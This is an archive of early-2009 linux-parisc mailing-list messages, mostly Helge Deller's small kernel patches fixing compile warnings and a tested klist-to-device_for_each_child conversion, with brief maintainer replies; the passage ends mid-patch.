References: <20090112220519.566749000@polaris-admin.engr.sgi.com> <20090112220520.435553000@polaris-admin.engr.sgi.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1231826735 13139 80.91.229.12 (13 Jan 2009 06:05:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 13 Jan 2009 06:05:35 +0000 (UTC)
Cc: Ingo Molnar <mingo@redhat.com>,
	Rusty Russell <rusty@rustcorp.com.au>,
	Andrew Morton <akpm@linux-foundation.org>,
	Jack Steiner <steiner@sgi.com>, linux-kernel@vger.kernel.org,
	Kyle McMartin <kyle@mcmartin.ca>,
	Matthew Wilcox <matthew@wil.cx>,
	Grant Grundler <grundler@parisc-linux.org>,
	linux-parisc@vger.kernel.org
To: Mike Travis <travis@sgi.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Jan 13 07:06:35 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LMcPr-0004kb-Ap
	for glpp-linux-parisc@gmane.org; Tue, 13 Jan 2009 07:06:19 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752673AbZAMGFA (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 13 Jan 2009 01:05:00 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752538AbZAMGFA
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 13 Jan 2009 01:05:00 -0500
Original-Received: from bombadil.infradead.org ([18.85.46.34]:38201 "EHLO
	bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751163AbZAMGE7 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 13 Jan 2009 01:04:59 -0500
Original-Received: from kyle by bombadil.infradead.org with local (Exim 4.69 #1 (Red Hat Linux))
	id 1LMcOG-0000Bk-3b; Tue, 13 Jan 2009 06:04:40 +0000
Content-Disposition: inline
In-Reply-To: <20090112220520.435553000@polaris-admin.engr.sgi.com>
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1170 gmane.linux.kernel:779776

On Mon, Jan 12, 2009 at 02:05:25PM -0800, Mike Travis wrote:
> Impact: cleanup, update to new cpumask API
> 
> Irq_desc.affinity and irq_desc.pending_mask are now cpumask_var_t's
> so access to them should be using the new cpumask API.
>

ok. 
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:29 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: fix section mismatch warnings
Date: Tue, 13 Jan 2009 20:51:29 +0100
Lines: 61
Approved: news@gmane.org
Message-ID: <496CF0C1.8010906@gmx.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1231876317 24204 80.91.229.12 (13 Jan 2009 19:51:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 13 Jan 2009 19:51:57 +0000 (UTC)
To: Kyle McMartin <kyle@mcmartin.ca>,
	linux-parisc <linux-parisc@vger.kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Jan 13 20:53:09 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LMpJz-0004K2-7M
	for glpp-linux-parisc@gmane.org; Tue, 13 Jan 2009 20:53:07 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753347AbZAMTvs (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 13 Jan 2009 14:51:48 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753359AbZAMTvs
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 13 Jan 2009 14:51:48 -0500
Original-Received: from mail.gmx.net ([213.165.64.20]:56253 "HELO mail.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with SMTP
	id S1753347AbZAMTvr (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 13 Jan 2009 14:51:47 -0500
Original-Received: (qmail invoked by alias); 13 Jan 2009 19:51:38 -0000
Original-Received: from mnhm-590f6442.pool.einsundeins.de (EHLO halden.box) [89.15.100.66]
  by mail.gmx.net (mp068) with SMTP; 13 Jan 2009 20:51:38 +0100
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX1+A4Mgvsb6AJMuUQ5mCPXr4xbhH8j7VKRSkLuDeP1
	qiQM8VVi7AQ1uT
User-Agent: Thunderbird 2.0.0.19 (X11/20081209)
X-Enigmail-Version: 0.95.7
X-Y-GMX-Trusted: 0
X-FuHaFi: 0.54
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1171
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1171>

Signed-off-by: Helge Deller <deller@gmx.de>

diff --git a/arch/parisc/kernel/firmware.c b/arch/parisc/kernel/firmware.c
index 03f26bd..f6d2412 100644
--- a/arch/parisc/kernel/firmware.c
+++ b/arch/parisc/kernel/firmware.c
@@ -151,7 +151,7 @@ static void convert_to_wide(unsigned long *addr)
 }
 
 #ifdef CONFIG_64BIT
-void __init set_firmware_width_unlocked(void)
+void __cpuinit set_firmware_width_unlocked(void)
 {
 	int ret;
 
@@ -168,7 +168,7 @@ void __init set_firmware_width_unlocked(void)
  * This function must be called before any pdc_* function that uses the
  * convert_to_wide function.
  */
-void __init set_firmware_width(void)
+void __cpuinit set_firmware_width(void)
 {
 	unsigned long flags;
 	spin_lock_irqsave(&pdc_lock, flags);
@@ -176,11 +176,11 @@ void __init set_firmware_width(void)
 	spin_unlock_irqrestore(&pdc_lock, flags);
 }
 #else
-void __init set_firmware_width_unlocked(void) {
+void __cpuinit set_firmware_width_unlocked(void) {
 	return;
 }
 
-void __init set_firmware_width(void) {
+void __cpuinit set_firmware_width(void) {
 	return;
 }
 #endif /*CONFIG_64BIT*/
@@ -302,7 +302,7 @@ int pdc_chassis_warn(unsigned long *warn)
 	return retval;
 }
 
-int __init pdc_coproc_cfg_unlocked(struct pdc_coproc_cfg *pdc_coproc_info)
+int __cpuinit pdc_coproc_cfg_unlocked(struct pdc_coproc_cfg *pdc_coproc_info)
 {
 	int ret;
 
@@ -323,7 +323,7 @@ int __init pdc_coproc_cfg_unlocked(struct pdc_coproc_cfg *pdc_coproc_info)
  * This PDC call returns the presence and status of all the coprocessors
  * attached to the processor.
  */
-int __init pdc_coproc_cfg(struct pdc_coproc_cfg *pdc_coproc_info)
+int __cpuinit pdc_coproc_cfg(struct pdc_coproc_cfg *pdc_coproc_info)
 {
 	int ret;
 	unsigned long flags;
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:29 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: fix `struct pt_regs' declared inside parameter list
 warning
Date: Tue, 13 Jan 2009 20:52:46 +0100
Lines: 23
Approved: news@gmane.org
Message-ID: <496CF10E.4020502@gmx.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1231876415 24578 80.91.229.12 (13 Jan 2009 19:53:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 13 Jan 2009 19:53:35 +0000 (UTC)
To: Kyle McMartin <kyle@mcmartin.ca>,
	linux-parisc <linux-parisc@vger.kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Jan 13 20:54:47 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LMpLZ-0004qn-91
	for glpp-linux-parisc@gmane.org; Tue, 13 Jan 2009 20:54:45 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753347AbZAMTxS (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 13 Jan 2009 14:53:18 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1754000AbZAMTxS
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 13 Jan 2009 14:53:18 -0500
Original-Received: from mail.gmx.net ([213.165.64.20]:58225 "HELO mail.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with SMTP
	id S1753347AbZAMTxR (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 13 Jan 2009 14:53:17 -0500
Original-Received: (qmail invoked by alias); 13 Jan 2009 19:53:13 -0000
Original-Received: from mnhm-590f6442.pool.einsundeins.de (EHLO halden.box) [89.15.100.66]
  by mail.gmx.net (mp007) with SMTP; 13 Jan 2009 20:53:13 +0100
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX18pPzI53MUp08LT50EgsLE7LLzO0MRWkrEL7Yvp6B
	zdlpD3V7+TavdT
User-Agent: Thunderbird 2.0.0.19 (X11/20081209)
X-Enigmail-Version: 0.95.7
X-Y-GMX-Trusted: 0
X-FuHaFi: 0.65
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1172
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1172>

Fix those compile warnings:
uaccess.h:244: warning: `struct pt_regs' declared inside parameter list
uaccess.h:244: warning: its scope is only this definition or declaration, which is probably not what you want

Signed-off-by: Helge Deller <deller@gmx.de>

diff --git a/arch/parisc/include/asm/uaccess.h b/arch/parisc/include/asm/uaccess.h
index 1c6dbb6..cd4c0b2 100644
--- a/arch/parisc/include/asm/uaccess.h
+++ b/arch/parisc/include/asm/uaccess.h
@@ -241,6 +241,7 @@ unsigned long copy_in_user(void __user *dst, const void __user *src, unsigned lo
 #define __copy_to_user_inatomic __copy_to_user
 #define __copy_from_user_inatomic __copy_from_user
 
+struct pt_regs;
 int fixup_exception(struct pt_regs *regs);
 
 #endif /* __PARISC_UACCESS_H */
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:29 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: remove unused local out_putf label
Date: Tue, 13 Jan 2009 20:54:25 +0100
Lines: 19
Approved: news@gmane.org
Message-ID: <496CF171.6010506@gmx.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1231876487 24841 80.91.229.12 (13 Jan 2009 19:54:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 13 Jan 2009 19:54:47 +0000 (UTC)
To: Kyle McMartin <kyle@mcmartin.ca>,
	linux-parisc <linux-parisc@vger.kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Jan 13 20:55:58 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LMpMk-0005I2-3K
	for glpp-linux-parisc@gmane.org; Tue, 13 Jan 2009 20:55:58 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753254AbZAMTyj (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 13 Jan 2009 14:54:39 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753348AbZAMTyj
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 13 Jan 2009 14:54:39 -0500
Original-Received: from mail.gmx.net ([213.165.64.20]:54969 "HELO mail.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with SMTP
	id S1753254AbZAMTyi (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 13 Jan 2009 14:54:38 -0500
Original-Received: (qmail invoked by alias); 13 Jan 2009 19:54:31 -0000
Original-Received: from mnhm-590f6442.pool.einsundeins.de (EHLO halden.box) [89.15.100.66]
  by mail.gmx.net (mp052) with SMTP; 13 Jan 2009 20:54:31 +0100
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX195afhfAkV5+TmpB2EUUUzJ+xTOqomhsv7gHLCUt4
	i7pJJurdBFRxr3
User-Agent: Thunderbird 2.0.0.19 (X11/20081209)
X-Enigmail-Version: 0.95.7
X-Y-GMX-Trusted: 0
X-FuHaFi: 0.66
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1173
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1173>

Signed-off-by: Helge Deller <deller@gmx.de>

diff --git a/arch/parisc/hpux/fs.c b/arch/parisc/hpux/fs.c
index bd9a4db..5cbe9f9 100644
--- a/arch/parisc/hpux/fs.c
+++ b/arch/parisc/hpux/fs.c
@@ -137,7 +137,6 @@ int hpux_getdents(unsigned int fd, struct hpux_dirent __user *dirent, unsigned i
 			error = count - buf.count;
 	}
 
-out_putf:
 	fput(file);
 out:
 	return error;
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:29 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: fix dev_printk() compile warnings for accessing a
 device struct
Date: Tue, 13 Jan 2009 21:14:51 +0100
Lines: 38
Approved: news@gmane.org
Message-ID: <496CF63B.1050002@gmx.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1231877723 29963 80.91.229.12 (13 Jan 2009 20:15:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 13 Jan 2009 20:15:23 +0000 (UTC)
To: Kyle McMartin <kyle@mcmartin.ca>,
	linux-parisc <linux-parisc@vger.kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Jan 13 21:16:35 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LMpgf-0003oI-TJ
	for glpp-linux-parisc@gmane.org; Tue, 13 Jan 2009 21:16:34 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755088AbZAMUPP (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 13 Jan 2009 15:15:15 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1755057AbZAMUPO
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 13 Jan 2009 15:15:14 -0500
Original-Received: from mail.gmx.net ([213.165.64.20]:37823 "HELO mail.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with SMTP
	id S1752751AbZAMUPN (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 13 Jan 2009 15:15:13 -0500
Original-Received: (qmail invoked by alias); 13 Jan 2009 20:15:01 -0000
Original-Received: from mnhm-590f6442.pool.einsundeins.de (EHLO halden.box) [89.15.100.66]
  by mail.gmx.net (mp021) with SMTP; 13 Jan 2009 21:15:01 +0100
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX1+Zcc1MqPKZVSdfFfO7lOjb5T+EdRktUsxALWoNJb
	Z0Ym4KIXFZ5CSW
User-Agent: Thunderbird 2.0.0.19 (X11/20081209)
X-Enigmail-Version: 0.95.7
X-Y-GMX-Trusted: 0
X-FuHaFi: 0.46
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1174
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1174>

Fix compile warnings:
drivers/scsi/zalon.c: In function `zalon_probe':
drivers/scsi/zalon.c:140: warning: passing arg 1 of `dev_driver_string' from incompatible pointer type
drivers/scsi/zalon.c:140: warning: passing arg 1 of `dev_name' from incompatible pointer type

Signed-off-by: Helge Deller <deller@gmx.de>

diff --git a/drivers/scsi/lasi700.c b/drivers/scsi/lasi700.c
index 4a4e695..f23c4ca 100644
--- a/drivers/scsi/lasi700.c
+++ b/drivers/scsi/lasi700.c
@@ -103,7 +103,7 @@ lasi700_probe(struct parisc_device *dev)
 
 	hostdata = kzalloc(sizeof(*hostdata), GFP_KERNEL);
 	if (!hostdata) {
-		dev_printk(KERN_ERR, dev, "Failed to allocate host data\n");
+		dev_printk(KERN_ERR, &dev->dev, "Failed to allocate host data\n");
 		return -ENOMEM;
 	}
 
diff --git a/drivers/scsi/zalon.c b/drivers/scsi/zalon.c
index a8d61a6..97f3158 100644
--- a/drivers/scsi/zalon.c
+++ b/drivers/scsi/zalon.c
@@ -137,7 +137,7 @@ zalon_probe(struct parisc_device *dev)
 		goto fail;
 
 	if (request_irq(dev->irq, ncr53c8xx_intr, IRQF_SHARED, "zalon", host)) {
-	  dev_printk(KERN_ERR, dev, "irq problem with %d, detaching\n ",
+	  dev_printk(KERN_ERR, &dev->dev, "irq problem with %d, detaching\n ",
 		     dev->irq);
 		goto fail;
 	}
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:30 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@infradead.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: fix dev_printk() compile warnings for
	accessing a device struct
Date: Tue, 13 Jan 2009 15:26:08 -0500
Lines: 28
Approved: news@gmane.org
Message-ID: <20090113202608.GB25103@bombadil.infradead.org>
References: <496CF63B.1050002@gmx.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1231878394 32619 80.91.229.12 (13 Jan 2009 20:26:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 13 Jan 2009 20:26:34 +0000 (UTC)
Cc: Kyle McMartin <kyle@mcmartin.ca>,
	linux-parisc <linux-parisc@vger.kernel.org>
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Jan 13 21:27:45 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LMprH-000099-Ha
	for glpp-linux-parisc@gmane.org; Tue, 13 Jan 2009 21:27:31 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754573AbZAMU0N (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 13 Jan 2009 15:26:13 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1754762AbZAMU0M
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 13 Jan 2009 15:26:12 -0500
Original-Received: from bombadil.infradead.org ([18.85.46.34]:48967 "EHLO
	bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1754573AbZAMU0M (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 13 Jan 2009 15:26:12 -0500
Original-Received: from kyle by bombadil.infradead.org with local (Exim 4.69 #1 (Red Hat Linux))
	id 1LMppw-00048i-Gy; Tue, 13 Jan 2009 20:26:08 +0000
Content-Disposition: inline
In-Reply-To: <496CF63B.1050002@gmx.de>
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1175
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1175>

On Tue, Jan 13, 2009 at 09:14:51PM +0100, Helge Deller wrote:
> Fix compile warnings:
> drivers/scsi/zalon.c: In function `zalon_probe':
> drivers/scsi/zalon.c:140: warning: passing arg 1 of `dev_driver_string' from incompatible pointer type
> drivers/scsi/zalon.c:140: warning: passing arg 1 of `dev_name' from incompatible pointer type
> 
> Signed-off-by: Helge Deller <deller@gmx.de>
> 
> diff --git a/drivers/scsi/lasi700.c b/drivers/scsi/lasi700.c
> index 4a4e695..f23c4ca 100644
> --- a/drivers/scsi/lasi700.c
> +++ b/drivers/scsi/lasi700.c
> @@ -103,7 +103,7 @@ lasi700_probe(struct parisc_device *dev)
>  
>  	hostdata = kzalloc(sizeof(*hostdata), GFP_KERNEL);
>  	if (!hostdata) {
> -		dev_printk(KERN_ERR, dev, "Failed to allocate host data\n");
> +		dev_printk(KERN_ERR, &dev->dev, "Failed to allocate host data\n");

Huh, I thought there was a pretty macro thingy that casted to the
embedded struct device. Oh well.

applied.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:30 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] remove klist iterators
Date: Tue, 13 Jan 2009 21:54:15 +0100
Lines: 229
Approved: news@gmane.org
Message-ID: <496CFF77.8090101@gmx.de>
References: <1231549026.3235.84.camel@localhost.localdomain>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1231880086 7150 80.91.229.12 (13 Jan 2009 20:54:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 13 Jan 2009 20:54:46 +0000 (UTC)
Cc: Parisc List <linux-parisc@vger.kernel.org>
To: James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Jan 13 21:55:58 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LMqIe-0005wU-3b
	for glpp-linux-parisc@gmane.org; Tue, 13 Jan 2009 21:55:48 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755975AbZAMUy2 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 13 Jan 2009 15:54:28 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1755958AbZAMUy2
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 13 Jan 2009 15:54:28 -0500
Original-Received: from mail.gmx.net ([213.165.64.20]:39108 "HELO mail.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with SMTP
	id S1755367AbZAMUy1 (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 13 Jan 2009 15:54:27 -0500
Original-Received: (qmail invoked by alias); 13 Jan 2009 20:54:20 -0000
Original-Received: from mnhm-590f6442.pool.einsundeins.de (EHLO halden.box) [89.15.100.66]
  by mail.gmx.net (mp025) with SMTP; 13 Jan 2009 21:54:20 +0100
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX18/5I5yi9o/XIYfzPX2wRS3wH2xJ5kKgp25igccV+
	gEXVf1P9z2CI2z
User-Agent: Thunderbird 2.0.0.19 (X11/20081209)
In-Reply-To: <1231549026.3235.84.camel@localhost.localdomain>
X-Enigmail-Version: 0.95.7
X-Y-GMX-Trusted: 0
X-FuHaFi: 0.4
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1176
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1176>

James Bottomley wrote:
> commit 11c3b5c3e08f4d855cbef52883c266b9ab9df879
> Author: Greg Kroah-Hartman <gregkh@suse.de>
> Date:   Tue Dec 16 12:24:56 2008 -0800
> 
>     driver core: move klist_children into private structure
> 
> Broke our parisc build pretty badly because we touch the klists directly
> in three cases (AGP, SBA and GSC).  Although GregKH will revert this
> patch, there's no reason we should be using the iterators directly, we
> can just move to the standard device_for_each_child() API.
> 
> Signed-off-by: James Bottomley <James.Bottomley@HansenPartnership.com>

I just tested this patch on my 715/64 and c3000 with 2.6.29-rc1. Everything OK.

Tested-by: Helge Deller <deller@gmx.de>



> ---
> 
> diff --git a/drivers/char/agp/parisc-agp.c b/drivers/char/agp/parisc-agp.c
> index db60539..699e342 100644
> --- a/drivers/char/agp/parisc-agp.c
> +++ b/drivers/char/agp/parisc-agp.c
> @@ -359,9 +359,16 @@ fail:
>  	return error;
>  }
>  
> -static struct device *next_device(struct klist_iter *i) {
> -	struct klist_node * n = klist_next(i);
> -	return n ? container_of(n, struct device, knode_parent) : NULL;
> +static int
> +find_quicksilver(struct device *dev, void *data)
> +{
> +	struct parisc_device **lba = data;
> +	struct parisc_device *padev = to_parisc_device(dev);
> +
> +	if (IS_QUICKSILVER(padev))
> +		*lba = padev;
> +
> +	return 0;
>  }
>  
>  static int
> @@ -372,8 +379,6 @@ parisc_agp_init(void)
>  	int err = -1;
>  	struct parisc_device *sba = NULL, *lba = NULL;
>  	struct lba_device *lbadev = NULL;
> -	struct device *dev = NULL;
> -	struct klist_iter i;
>  
>  	if (!sba_list)
>  		goto out;
> @@ -386,13 +391,7 @@ parisc_agp_init(void)
>  	}
>  
>  	/* Now search our Pluto for our precious AGP device... */
> -	klist_iter_init(&sba->dev.klist_children, &i);
> -	while ((dev = next_device(&i))) {
> -		struct parisc_device *padev = to_parisc_device(dev);
> -		if (IS_QUICKSILVER(padev))
> -			lba = padev;
> -	}
> -	klist_iter_exit(&i);
> +	device_for_each_child(&sba->dev, &lba, find_quicksilver);
>  
>  	if (!lba) {
>  		printk(KERN_INFO DRVPFX "No AGP devices found.\n");
> diff --git a/drivers/parisc/gsc.c b/drivers/parisc/gsc.c
> index e76db9e..ea8f600 100644
> --- a/drivers/parisc/gsc.c
> +++ b/drivers/parisc/gsc.c
> @@ -186,29 +186,34 @@ void gsc_asic_assign_irq(struct gsc_asic *asic, int local_irq, int *irqp)
>  	*irqp = irq;
>  }
>  
> -static struct device *next_device(struct klist_iter *i)
> +struct gsc_fixup_struct {
> +	void (*choose_irq)(struct parisc_device *, void *);
> +	void *ctrl;
> +};
> +
> +static int gsc_fixup_irqs_callback(struct device *dev, void *data)
>  {
> -	struct klist_node * n = klist_next(i);
> -	return n ? container_of(n, struct device, knode_parent) : NULL;
> +	struct parisc_device *padev = to_parisc_device(dev);
> +	struct gsc_fixup_struct *gf = data;
> +
> +	/* work-around for 715/64 and others which have parent 
> +	   at path [5] and children at path [5/0/x] */
> +	if (padev->id.hw_type == HPHW_FAULTY)
> +		gsc_fixup_irqs(padev, gf->ctrl, gf->choose_irq);
> +	gf->choose_irq(padev, gf->ctrl);
> +
> +	return 0;
>  }
>  
